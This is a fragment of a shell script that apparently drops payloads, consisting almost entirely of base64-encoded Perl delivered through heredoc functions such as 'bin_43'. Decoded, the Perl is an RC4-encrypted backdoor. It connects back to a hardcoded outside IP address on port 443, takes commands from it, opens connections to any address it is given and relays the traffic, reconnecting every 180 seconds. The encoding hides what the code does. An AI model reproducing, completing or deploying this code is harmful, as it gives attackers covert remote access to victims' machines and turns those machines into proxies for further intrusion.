bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_43() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ 